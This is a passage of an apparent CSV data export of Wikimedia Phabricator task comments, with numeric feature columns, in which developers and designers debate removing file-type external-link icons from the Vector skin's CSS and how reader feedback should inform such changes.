+A patch will follow momentarily.",,,1403727235,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+258758,Large number of CSS rules for external links,"Regardless of everyone's opinions the patch has been merged, so this is fixed.",,,1399940828,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,45,,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+258754,Large number of CSS rules for external links,"Change 124618 merged by jenkins-bot:
+Follow-up: If985b16c – Vector external link change release notes
+
+https://gerrit.wikimedia.org/r/124618",,,1397145263,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258750,Large number of CSS rules for external links,"Change 124618 had a related patch set uploaded by Jdlrobson:
+Follow up to If985b16c4f682d737683597ed80951c6d6644c8f
+
+https://gerrit.wikimedia.org/r/124618",,,1396972855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258744,Large number of CSS rules for external links,"I can tell you that it's customary on sites like Reddit to add a ""PDF warning"" to a description of a link that points directly to a PDF document. (Other file types don't really come up often enough for such a custom to develop.)",,,1396952733,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+258739,Large number of CSS rules for external links,"(In reply to Jon from comment #37)
+> As stated above external links were removed as part of the typography beta
+> feature. Actually, not a single person wrote about this on the talk page
+> (https://www.mediawiki.org/wiki/Talk:Typography_Update) during the 6 months
+> it was live. This evidence leads me to believe that they are /not/ important
+> and it is the basis for removing them.
+
+However, anyone who used a wiki (like English Wikipedia, which has such rules at https://en.wikipedia.org/wiki/MediaWiki:Common.css and https://en.wikipedia.org/wiki/MediaWiki:Vector.css) with local rules would not have seen any difference.
+
+Thus, it's a valid question how many people who used the Beta feature saw a visible change to the main (PDF and HTTPS seem like the biggies for article space, with the audio being used a decent amount, but not as much, but I don't have data) icons.  If a tiny number were affected, then ""not a single person wrote about this"" is not a convincing argument.
+
+I think English Wikipedia Beta users saw neither change, since PDF is at [[MediaWiki:Common.css]] and HTTPS is at [[MediaWiki:Vector.css]].
+
+However, it is certainly true that we are not going to be able to do dedicated research for every change, and this may be one such example.  I agree that this feature affects both readers and editors, and we need to consider the impact on both.  Having tools to do A/B tests on readers would certainly help, but it wouldn't solve everything.
+
+It can definitely be iterated on regardless.  In particular (if we proceed without the format-specific icons), there should be at least one follow-up change to do the following:
+
+1. Remove obsolete FIXME comment from externalLinks.css.
+2. Release notes
+3. Fixes from https://gerrit.wikimedia.org/r/#/c/123817/3/skins/vector/components/externalLinks.less .  Note the point about div#content on the left, and might as well do the formatting fix on the right (space before right paren) since there needs to be a commit anyway.
+
+Marking open again and assigning to Jon.",,,1396921020,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1
+258735,Large number of CSS rules for external links,"(In reply to Jon from comment #37)
+> Commits and reverts are cheap.
+
+No. There's almost no evidence to suggest that commits and reverts of this nature are cheap. There's a ton of evidence to suggest that commits and reverts of this nature are expensive (in terms of community time and developer time).
+
+> We have a huge editor decline and here we are arguing about some icons next to
+> links.
+
+No fearmongering here, please. The stated editor decline is dubious, bordering on spurious. This bug is strictly about ""some icons next to links."" You (Jon) are sidetracking the technical conversation with FUD about an editor decline. Focus on the issue at hand, please.",,,1396920224,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+258732,Large number of CSS rules for external links,"(In reply to Jared Zimmerman (WMF) from comment #36)
+> (In reply to Isarra from comment #34)
+> We did a beta feature, it was called typography refresh, and little to no
+> feedback (negative or positive) addressed the removal of these icons, that
+> was the impetus for moving forward with this as a simple patch. 
+
+Lumping multiple changes together and then testing the entire pile is problematic by its very nature: it can become very difficult to differentiate between the effects of different changes, and getting meaningful feedback on any specific one often becomes very difficult. Thus you can wind up with an overall positive response despite individual aspects which significantly detract from the experience, and then wind up thinking those, too, are positive when they really aren't (or visa versa).
+
+Thus, to say anything specific about the external link icons and potential changes, I would suggest that you need to test or otherwise investigate those specifically, and distinctly, first. Jon's not wrong that this is a relatively minor thing, but while that means a full-on battery of tests probably isn't actually necessary here, like with any other change, discussion is definitely in order in order to establish some sort of consensus as to what best serves the users. So here we are. Discussing. Or we were, before the entire thing got a wee bit sidetracked.",,,1396918242,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+258727,Large number of CSS rules for external links,"(In reply to Jon from comment #37)
+> The world is not breaking. The world of Vector is just going through
+> turbulence.
+
+I didn't mean to point fingers at any specific event, and wasn't actually thinking of typo refresh when making my comment (Or the actual subject of this bug. Oh well guess this bug is pretty hijacked). I wanted to address in the abstract the attitude in comment 23 of making changes willy nilly (which I flippantly phrased as ""breaking the world"") and then iterating on them until people like them (or cynically: until they become fait accompli), as being a good way to get feedback. I think its a good way to piss off people, and self-justify changes via confirmation bias.
+
+
+> 
+> The fact we have to actively discuss trivial changes like this concerns me
+> greatly. We have a huge editor decline and here we are arguing about some
+> icons next to links.
+
+I'm not sure I follow. Not asking editors for feedback on changes is somehow going to increase editor retention?
+
+> 
+> Also I think you mean /editors/ when you say /readers/ here. I think most
+> /readers/ care simply if a link will take them to an external site or not.
+
+I was responding as if ""readers"" = Users without an account who only read. For the actual change I think both groups care. My comment was aimed solely at attitudes for getting feedback. I'm not actually that concerned about the actual change",,,1396916621,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+258721,Large number of CSS rules for external links,I'm just going to leap in here in the middle of this heated discussion and change the title of the bug to be grammatically correct. It's been bugging me. Sorry.,,,1396915976,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+258714,Large number of CSS rules for external links,"The world is not breaking. The world of Vector is just going through turbulence.
+
+As stated above external links were removed as part of the typography beta feature. Actually, not a single person wrote about this on the talk page (https://www.mediawiki.org/wiki/Talk:Typography_Update) during the 6 months it was live. This evidence leads me to believe that they are /not/ important and it is the basis for removing them.
+
+If this proves to be wrong, then we react and restore/amend it, it's no big deal. Commits and reverts are cheap.
+
+The fact we have to actively discuss trivial changes like this concerns me greatly. We have a huge editor decline and here we are arguing about some icons next to links.
+
+Also I think you mean /editors/ when you say /readers/ here. I think most /readers/ care simply if a link will take them to an external site or not.",,,1396915738,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0
+258707,Large number of CSS rules for external links,"(In reply to Isarra from comment #34)
+We did a beta feature, it was called typography refresh, and little to no feedback (negative or positive) addressed the removal of these icons, that was the impetus for moving forward with this as a simple patch. 
+
+If you read on the Beta Features page, you'll see that Beta Features should not be only subtractive in nature, e.g. packaging up the removal of these icons as its own feature makes very little sense. — https://www.mediawiki.org/wiki/Beta_Features/Package",,,1396915523,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+258700,Large number of CSS rules for external links,"
+> 
+> Its relevant because asking for feedback on ""the usual channels"" completely
+> omits the target user, when the target users is a reader. Jon's point that
+> we can do it and then iterate speaks to the fact that it is one of our only
+> ways to get reader feedback. To roll the change out publicly then iterate.
+> We can get better at this eventually, but at the current juncture, I think
+> this is a sound plan based on our infrastructure for eliciting feedback from
+> readers and others who aren't aware of, or participate in ""the usual
+> channels""
+> 
+> Hope that makes sense.
+
+breaking the world, and then seeing who complains isn't really a good way to get feedback from readers. First off, most people who complain aren't going to be ""readers"" they are going to be active users who are familiar with the regular channels. If you actually get readers angry enough that they figure out how to complain, you've probably massively screwed up the site. Second, that's prone to a massive confirmation bias of ""Well nobody or not that many people complained out of a group of people who don't know how to complain, therefore it must be a good idea""
+
+I really think this is an extraordinarily dangerous line of reasoning to go down.",,,1396914965,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+258693,Large number of CSS rules for external links,"In reply to Jared Zimmerman (WMF) from comment #31)
+> Its relevant because asking for feedback on ""the usual channels"" completely
+> omits the target user, when the target users is a reader. Jon's point that
+> we can do it and then iterate speaks to the fact that it is one of our only
+> ways to get reader feedback. To roll the change out publicly then iterate.
+> We can get better at this eventually, but at the current juncture, I think
+> this is a sound plan based on our infrastructure for eliciting feedback from
+> readers and others who aren't aware of, or participate in ""the usual
+> channels""
+
+I would think that 'users' here would include readers and editors both, and even then, editors often know their readers better than one might expect (such as by talking to them, or being them). So talking to the editors is probably exactly the right place to start. They could tell you things like the fact that some of these external link styles, such as IRC, will never appear in article space (on a non-technical project, anyway - mw.org or archwiki and similar probably have quite a few irc links in various articles), but are often used in project and user space (so changes to that style would be purely editor-facing on projects like Wikipedia, not reader). Or that readers often complain when <blah> or have trouble with <blah>.
+
+And there is also ample infrastructure in place to test potential changes, is there not? For instance you could do:
+* A/B tests to determine if readers are less likely to click on external if they are or aren't visibly marked as whatever kind of link they are. 
+* Scripted tests on usertesting.com to gain insight into possible reactions to unexpected pdfs, audio files, IRC links, etc vs regular external links, and to the external link icons themselves when they are used, such as if they even figure out what they mean.
+* A betafeature for users to see if removing the special icons affects their workflows, or if they prefer it outright.
+
+If there is a problem, you should be able to prove it without just deploying it first and asking questions later. Also what Derk-Jan said.",,,1396914365,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+258688,Large number of CSS rules for external links,"Users of a product are aware (although not always consciously) of the absence of something equally well as the awareness of and existence of something (cruft). A user does not need to be aware of something, an ""absence,"" say to be aware that a product is better because of design choices to remove, and simplify. 
+
+
+""Good design is as little design as possible — Less is more – because it concentrates on the essential aspects and the products are not burdened with non-essentials. Back to purity, back to simplicity"" —Dieter Rams
+
+""Perfection is achieved perfection not when there is nothing left to add, but when there is nothing left to take away"" –Antoine de Saint-Exupery",,,1396914062,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+258684,Large number of CSS rules for external links,"Then again, can you expect a casual reader to ever appreciate that which is not there? A removal like this is hard to notice, because most links don't have these icons.
+
+Your proposal is basically: Ah, people asked for this 10 years ago. but there is a bunch of annoying css rules, so let's remove them and wait how long it takes for people to ask if they can have the feature back. This feature contributes to the rule of least astonishment, and you are removing it without considering replacing it with an alternative.
+
+I find that somewhat presumptuous if i'm honest. But then again, I thought messing with fonts was a dangerous plan and that turned out just splendid, so what do I know....",,,1396913306,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,40,,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,1,1,1,0,1,0
+258680,Large number of CSS rules for external links,"(In reply to Isarra from comment #28)
+> And there is a right way to make change happen - by proposing changes and
+> getting feedback. By implementing this, you have inherently proposed it, and
+> now you are getting feedback. Whether or not they should be merged depends
+> on what consensus is established either here or in other appropriate
+> channels; we have these channels for a reason.
+
+Its relevant because asking for feedback on ""the usual channels"" completely omits the target user, when the target users is a reader. Jon's point that we can do it and then iterate speaks to the fact that it is one of our only ways to get reader feedback. To roll the change out publicly then iterate. We can get better at this eventually, but at the current juncture, I think this is a sound plan based on our infrastructure for eliciting feedback from readers and others who aren't aware of, or participate in ""the usual channels""
+
+Hope that makes sense.",,,1396911689,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+258676,Large number of CSS rules for external links,"(In reply to Jared Zimmerman (WMF) from comment #29)
+> Isarra, I've mentioned it before and I'll mention it here again, that
+> process makes total sense for editor or logged-in user features. It doesn't
+> make sense for reader facing features, as these users are not part of this
+> conversation.  
+> 
+> You know how to do cross site links but many users do not, and the systems
+> are not smart enough to automatically convert them in many cases.
+
+I agree, new users often don't appreciate the significance of many features. But how is this relevant to the matter at hand?",,,1396911306,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+258672,Large number of CSS rules for external links,"Isarra, I've mentioned it before and I'll mention it here again, that process makes total sense for editor or logged-in user features. It doesn't make sense for reader facing features, as these users are not part of this conversation.  
+
+You know how to do cross site links but many users do not, and the systems are not smart enough to automatically convert them in many cases.",,,1396910718,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+258667,Large number of CSS rules for external links,"(In reply to Jon from comment #26)
+> To be clear, we still show an external link icon.
+> Yes I suspect it may annoy people but this can be easily remedied. Change is
+> also a trend that needs to start.
+
+And there is a right way to make change happen - by proposing changes and getting feedback. By implementing this, you have inherently proposed it, and now you are getting feedback. Whether or not they should be merged depends on what consensus is established either here or in other appropriate channels; we have these channels for a reason.
+
+(In reply to Jared Zimmerman (WMF) from comment #27)
+> Isarra, from a technical perspective a PDF hosted on commons while I'm on
+> wikipedia is ""leaving the site"" but this isn't how most readers or casual
+> editors see it. That was my point. I appreciate your point about it from a
+> literal perspective.
+
+External links appear if the external link format is used, regardless of where the link points. They are only supposed to be for links that go off the site (in other words, ones that are 'external'); we normally use wikilinks (ones formatted [[like this]]) to link to local and sister project pages, which do not result in external link formatting.
+
+For more information about how links work in MediaWiki, please see https://www.mediawiki.org/wiki/Links",,,1396910489,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+258661,Large number of CSS rules for external links,"Isarra, from a technical perspective a PDF hosted on commons while I'm on wikipedia is ""leaving the site"" but this isn't how most readers or casual editors see it. That was my point. I appreciate your point about it from a literal perspective.",,,1396903714,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+258657,Large number of CSS rules for external links,"To be clear, we still show an external link icon.
+Yes I suspect it may annoy people but this can be easily remedied. Change is also a trend that needs to start.",,,1396903563,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+258649,Large number of CSS rules for external links,"(In reply to Jared Zimmerman (WMF) from comment #23)
+> From my understand the external/file format link icons are only relevant
+> when you are actually leaving the site, or when it would cause your browsers
+> to download a file rather than loading it in some kind of built in player,
+> either on site or in-browsers. The original code for this I assume was
+> created prior to mediawiki being able to natively handle many of these file
+> formats. 
+
+Generally external links do leave the site. This is what 'external link' means.
+
+(In reply to Jon from comment #24)
+> That said, I am happy to deal with any after effects of this change. I'd
+> hope such a drastic change would surface the icons that are important.
+> 
+> I think the removal of them although somewhat extreme, will make it clearer
+> and easier to restore ones that are vital.
+
+I would suggest that breaking everything and then seeing what people complain about the most may not be the best way to determine what is important. Yes, it may work, but more than anything it's probably just going to annoy people, and needlessly alienating users is a trend that needs to stop, not continue.",,,1396902884,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+258641,Large number of CSS rules for external links,"Apologies if I misunderstood and this had been the agreement.
+
+That said, I am happy to deal with any after effects of this change. I'd hope such a drastic change would surface the icons that are important.
+
+I think the removal of them although somewhat extreme, will make it clearer and easier to restore ones that are vital.
+
+A lot of these icons may be better done in something like MediaWiki:Vector/Monobook/Common.css on a per project basis anyhow.",,,1396902298,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,1,0,1,0,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+258636,Large number of CSS rules for external links,"From my understand the external/file format link icons are only relevant when you are actually leaving the site, or when it would cause your browsers to download a file rather than loading it in some kind of built in player, either on site or in-browsers. The original code for this I assume was created prior to mediawiki being able to natively handle many of these file formats. 
+
+That said I think most if not all of these are no longer needed and confuse many users. Overall I would urge us to move towards simplicity when it comes to links, designating only links that take you out of the WMF sites, and links that point to non-existent articles. 
+
+If knowing target file types is relevant to a small subset of users I've argue that this code should be gadgetized by someone who cares to retain this feature.",,,1396900073,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+258630,Large number of CSS rules for external links,"(In reply to Jon from comment #14)
+> Great. I'm agnostic about killing the icons or not. My main goal is to start
+> cleaning up and improving all the desktop CSS.
+
+I thought we'd agreed to clean up the expensive CSS, and not to delete the icons (which is what https://gerrit.wikimedia.org/r/123817 does).
+
+:/",,,1396809360,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+258625,Large number of CSS rules for external links,"Change 123817 merged by jenkins-bot:
+Vector: Simply style external links
+
+https://gerrit.wikimedia.org/r/123817",,,1396736501,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258620,Large number of CSS rules for external links,"If they're not affected, they're not representative. It doesn't sound rational to mention them in the commit message.",,,1396631124,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,39,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+258614,Large number of CSS rules for external links,"I don't understand the question/problem. All wikis got the beta features experiment.
+
+If those wiki's have local icons, that is fine, they won't be effected by this change to Vector, and will get a performance boost by having a simpler set of css selectors for these icons.",,,1396630023,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+258608,Large number of CSS rules for external links,"> During the typography experiment, these were removed, no one raised this as an 
+> issue during the 5 months it was live, suggesting that explicit pdf icons etc
+> are not as useful as we like to believe.
+
